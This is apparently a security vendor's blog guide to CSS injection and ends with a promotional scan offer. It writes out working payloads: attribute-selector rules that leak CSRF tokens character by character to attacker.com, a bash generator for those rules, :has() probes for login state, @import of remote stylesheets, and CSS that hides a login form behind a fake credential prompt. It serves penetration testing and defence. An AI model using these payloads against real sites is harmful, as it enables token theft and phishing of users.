CSS Injection: Data Exfiltration, Style Hijacking, and How to Test for It

CSS injection is one of the most underrated client-side vulnerabilities in modern web security. Unlike JavaScript injection (XSS), which browsers increasingly constrain with Content Security Policy, CSS injection can exfiltrate data, steal CSRF tokens, and manipulate UI elements — often without triggering any script execution. That makes it dangerous precisely when developers believe they've eliminated script injection risks.

This guide covers what CSS injection actually achieves in practice, how attackers exploit it, and how to test for it systematically.

What Is CSS Injection?

CSS injection occurs when attacker-controlled data is reflected into a <style> block, an inline style attribute, or a CSS file without proper escaping. The injected CSS runs in the context of the victim's browser session, with access to the same DOM the legitimate stylesheet sees.

Unlike XSS, CSS injection doesn't execute JavaScript. But it can:

CSS Attribute Selector Exfiltration

The most powerful CSS injection technique uses CSS attribute selectors combined with background-image: url() to send HTTP requests to attacker-controlled servers when specific attribute values match.

How It Works

CSS can select elements based on attribute values using substring matchers:

input[name="csrf_token"][value^="a"] { background: url(https://attacker.com/exfil?c=a); }
input[name="csrf_token"][value^="b"] { background: url(https://attacker.com/exfil?c=b); }
/* ... one rule per character ... */

When the browser renders this CSS, it evaluates each rule. If a hidden input named csrf_token has a value starting with "a", the browser loads https://attacker.com/exfil?c=a. The attacker's server logs the request and knows the first character is "a". Repeat for the second character using [value^="ab"], and so on — iteratively reconstructing the token character by character.

Real-world impact A single CSS injection point that reflects into a page containing a CSRF token, API key in a data attribute, or session identifier in a hidden field can lead to full account compromise — without any JavaScript execution.

Generating the Exfiltration Payload

Manual character-by-character exfiltration is slow but proves exploitability. Tools like CSS Exfil Protection and custom scripts can automate the payload generation:

# Generate CSS exfiltration payload for a 40-char CSRF token
# Attacker controls: https://attacker.com/log?val=

charset="abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789-_"
prefix=""

for char in $charset; do
    echo "input[name=csrf][value^=\"${prefix}${char}\"] { background: url(https://attacker.com/log?val=${prefix}${char}); }"
done

Modern CSS :has() Extensions

The CSS :has() pseudo-class (now broadly supported) extends exfiltration beyond attribute values to structural DOM relationships:

/* Exfiltrate whether an admin menu exists */
body:has(#admin-panel) { background: url(https://attacker.com/log?admin=true); }

/* Detect auth state */
body:has(a[href="/logout"]) { background: url(https://attacker.com/log?auth=true); }

This allows fingerprinting of the user's auth state, role, and feature flags purely via CSS — useful for targeted phishing preparation.

Style Hijacking and UI Redressing

CSS injection doesn't require data exfiltration to be impactful. Injecting CSS that hides legitimate UI and overlays attacker-controlled content is a form of UI redressing distinct from clickjacking.

Hiding Legitimate Content

/* Hide the real login form */
form#login { display: none !important; }

/* Display a fake message */
body::before {
    content: "Session expired. Re-enter your credentials below.";
    display: block;
    font-size: 18px;
    color: red;
    padding: 20px;
}

Combined with an attacker-controlled iframe or absolute-positioned overlay, this creates a convincing phishing flow inside a legitimate domain — defeating browser warnings about untrusted sites.

CSS Keylogging (Historical and Limited)

CSS keyloggers using :active and :focus combined with background requests were demonstrated in older browsers. Modern browsers have largely patched these via asynchronous rendering, but variants using animation and content properties still appear in CTF contexts. Test in older browser versions or via headless browsers with older rendering engines when doing thorough assessments.

Where CSS Injection Occurs

Injection Point Example Notes
Reflected style blocks User theme color reflected into <style> Most common; often in profile customization
Inline style attributes <div style="color: {user_input}"> Limited to element scope but still dangerous
User-controlled CSS files Custom theme upload, CSS-in-JS with unsanitized props Full stylesheet injection
CSS-in-JS libraries Styled-components, Emotion with user data Often overlooked in code review
Import directives @import url(https://attacker.com/evil.css) Loads external attacker stylesheet

Testing Methodology

Step 1: Identify Injection Points

Look for any user-controlled data that appears inside CSS context:

Step 2: Test for Breakout

Attempt to inject valid CSS syntax and observe whether it renders. Test payloads:

# For inline style attribute injection (breaking out of value context)
; color: red
} body { background: red; } .x {

# For style block injection
* { background: red !important; }
@import url(https://attacker.com/evil.css);

# Test if quotes are needed
color: red; background: url(https://attacker.com/probe)

# URL-encoded variants (for injection via query parameters)
%7D%20body%20%7B%20background%3A%20red%20%7D%20.x%7B

Step 3: Attempt Exfiltration

Set up a request logging endpoint (Burp Collaborator, interact.sh, or a simple netcat listener) and inject CSS that makes requests to it:

# Test exfiltration via background-image (triggers HTTP request)
* { background: url(https://YOUR_COLLABORATOR_HOST/css-inject-probe); }

# Test attribute selector exfiltration against a known input
input[name="csrf"][value^="a"] {
    background: url(https://YOUR_COLLABORATOR_HOST/exfil?c=a);
}

If you receive an HTTP request to your collaborator, CSS injection is confirmed and exfiltration is viable.

Step 4: Test CSP Interaction

CSS injection often bypasses script-blocking CSP. Check the Content-Security-Policy header:

Step 5: Test CSS-in-JS Frameworks

React applications using styled-components or @emotion/styled may pass user-controlled props directly into CSS template literals:

// Vulnerable pattern
const Box = styled.div`
    background-color: ${props => props.color};
`;

// <Box color={userInput} /> — if userInput is unsanitized:
// userInput = "red; background: url(https://attacker.com/probe)"

Test these by inspecting rendered <style> tags in the DOM and looking for user-controlled values. Modern versions of styled-components sanitize some property values, but complex props remain risky.

Bypassing CSS Injection Filters

Applications often attempt to filter injection but leave gaps:

Defensive Measures and Verification

Verify that the application correctly implements:

CSS Injection Testing Checklist

Ironimo scans web applications with the same tooling professional pentesters use — including client-side injection detection across CSS, HTML, and JavaScript contexts. No scanner configuration required.

Start free scan
← Back to Blog